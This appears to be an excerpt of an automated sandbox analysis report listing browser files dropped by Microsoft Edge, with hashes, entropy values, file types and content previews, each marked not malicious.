SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+7tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6Wtbz8hu3VlXr4CRo1
MD5:	DBCBB12338CACB0D2934952C2616C11E
SHA1:	21E112551C5B0909FE7B54F9768E4A2F08602B98
SHA-256:	8B7553C47B161CD8158192A179644C63796AD15ED7595B6FE7411AC255F0A45E
SHA-512:	7561891D882AE1AD801E3A3902321614C6507A7A9DBBAADEF5790D23873339F1EECC8035FACC52C0B0C66B82ACCDBD1C5260C59B44D625A48AB0062F32056C8A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48ecf.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090709248264894
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+7tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6Wtbz8hu3VlXr4CRo1
MD5:	DBCBB12338CACB0D2934952C2616C11E
SHA1:	21E112551C5B0909FE7B54F9768E4A2F08602B98
SHA-256:	8B7553C47B161CD8158192A179644C63796AD15ED7595B6FE7411AC255F0A45E
SHA-512:	7561891D882AE1AD801E3A3902321614C6507A7A9DBBAADEF5790D23873339F1EECC8035FACC52C0B0C66B82ACCDBD1C5260C59B44D625A48AB0062F32056C8A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48efe.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090709248264894
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+7tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6Wtbz8hu3VlXr4CRo1
MD5:	DBCBB12338CACB0D2934952C2616C11E
SHA1:	21E112551C5B0909FE7B54F9768E4A2F08602B98
SHA-256:	8B7553C47B161CD8158192A179644C63796AD15ED7595B6FE7411AC255F0A45E
SHA-512:	7561891D882AE1AD801E3A3902321614C6507A7A9DBBAADEF5790D23873339F1EECC8035FACC52C0B0C66B82ACCDBD1C5260C59B44D625A48AB0062F32056C8A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF491bd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090709248264894
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+7tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6Wtbz8hu3VlXr4CRo1
MD5:	DBCBB12338CACB0D2934952C2616C11E
SHA1:	21E112551C5B0909FE7B54F9768E4A2F08602B98
SHA-256:	8B7553C47B161CD8158192A179644C63796AD15ED7595B6FE7411AC255F0A45E
SHA-512:	7561891D882AE1AD801E3A3902321614C6507A7A9DBBAADEF5790D23873339F1EECC8035FACC52C0B0C66B82ACCDBD1C5260C59B44D625A48AB0062F32056C8A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4b89e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090709248264894
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMvwuF9hDO6vP6O+7tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEj6Wtbz8hu3VlXr4CRo1
MD5:	DBCBB12338CACB0D2934952C2616C11E
SHA1:	21E112551C5B0909FE7B54F9768E4A2F08602B98
SHA-256:	8B7553C47B161CD8158192A179644C63796AD15ED7595B6FE7411AC255F0A45E
SHA-512:	7561891D882AE1AD801E3A3902321614C6507A7A9DBBAADEF5790D23873339F1EECC8035FACC52C0B0C66B82ACCDBD1C5260C59B44D625A48AB0062F32056C8A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5963118027796015
Encrypted:	false
SSDEEP:	12:TLyeuAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3isTydBVzQd9U9ez/qS9i:TLyXOUOq0afDdWec9sJz+Z7J5fc
MD5:	48A6A0713B06707BC2FE9A0F381748D3
SHA1:	043A614CFEF749A49837F19F627B9D6B73F15039
SHA-256:	2F2006ADEA26E5FF95198883A080C9881D774154D073051FC69053AF912B037B
SHA-512:	4C04FFAE2B558EB4C05AD9DCA094700D927AFAD1E561D6358F1A77CB09FC481A6424237DFF6AB37D147E029E19D565E876CD85A2E9C0EC1B068002AA13A16DBA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e7eaf886-bb6e-426a-8903-109bfa9f247f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44604
Entropy (8bit):	6.095986275070804
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBXwuKhDO6vP6OTWrLu6brVxKsLT0lDScGoup1Xl34:z/Ps+wsI7ynEz6zWriachu3VlXr4CRo1
MD5:	409AFC159CF8D16F65D67D83738761C0
SHA1:	AF6BA811BB15C04B5278D74409AF8D1E40357E3A
SHA-256:	1EFEC31C2FAE6F623ED4754C405783A904D3736469AE51B0805393B6D6E9AB0B
SHA-512:	A7AD9C51809376ECFD9DD4A4E73102D9D88A31277DCE97FC36E496454C273398DB960D74E0B09EF460AA6DEE158370DF279DF9D0C5F9145D05821F04F47F2872
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ec15e530-9c84-4dcb-9c79-847ef2d833d2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44604
Entropy (8bit):	6.095986275070804
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBXwuKhDO6vP6OTWrLu6brVxKsLT0lDScGoup1Xl34:z/Ps+wsI7ynEz6zWriachu3VlXr4CRo1
MD5:	409AFC159CF8D16F65D67D83738761C0
SHA1:	AF6BA811BB15C04B5278D74409AF8D1E40357E3A
SHA-256:	1EFEC31C2FAE6F623ED4754C405783A904D3736469AE51B0805393B6D6E9AB0B
SHA-512:	A7AD9C51809376ECFD9DD4A4E73102D9D88A31277DCE97FC36E496454C273398DB960D74E0B09EF460AA6DEE158370DF279DF9D0C5F9145D05821F04F47F2872
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ede88412-d401-49a2-9608-265f5ab07264.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44660
Entropy (8bit):	6.09637283599629
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBxwuKhDO6vP6OTWrLu6bvhxBYyyDcGoup1Xl3jVz6:z/Ps+wsI7yOE96zWrivchu3VlXr4CRo1
MD5:	2447F87757841F4DDF4CD0B0E96BBAB2
SHA1:	B241C40185F786355C4BF98DE3A545EECD84C033
SHA-256:	58081913D23419A3975B298F71DCDFDC7B6DB626A7D1050EBC9631CEEB125124
SHA-512:	1299CFEAEC981DE57C8F4C9D5FA091F0EAF614AAE3E18822A9F36F5372667AD59FB3BE7F34997E75ABADAD1773E6EA6FA571B16E4D2E5250979716DDC4CD2BD2
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.832248662283366
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxfxl9Il8u0H+UKs8tKLz2YxIK+94MmnA5dEAd1rc:mWYOeU1LCYx5MmnA5U
MD5:	D4D9628C07BE7E9CD10642AAC234158D
SHA1:	D5F5A786D6EF9497EBA2E5C5A40B44440EBECF62
SHA-256:	88B08159CBBB4201A0A45F4828E638F2092C40A9270482A219348637BCB39501
SHA-512:	6B1A5CCD24BF56C7F368FC4C0F2886171DD997141FE30ED08065B0255C2D3B227F1C127AE5775E1DD23D93EFA9A874D50650648F10389417FE0CED0347B6F2ED
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.J.f.j.o.i.g.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e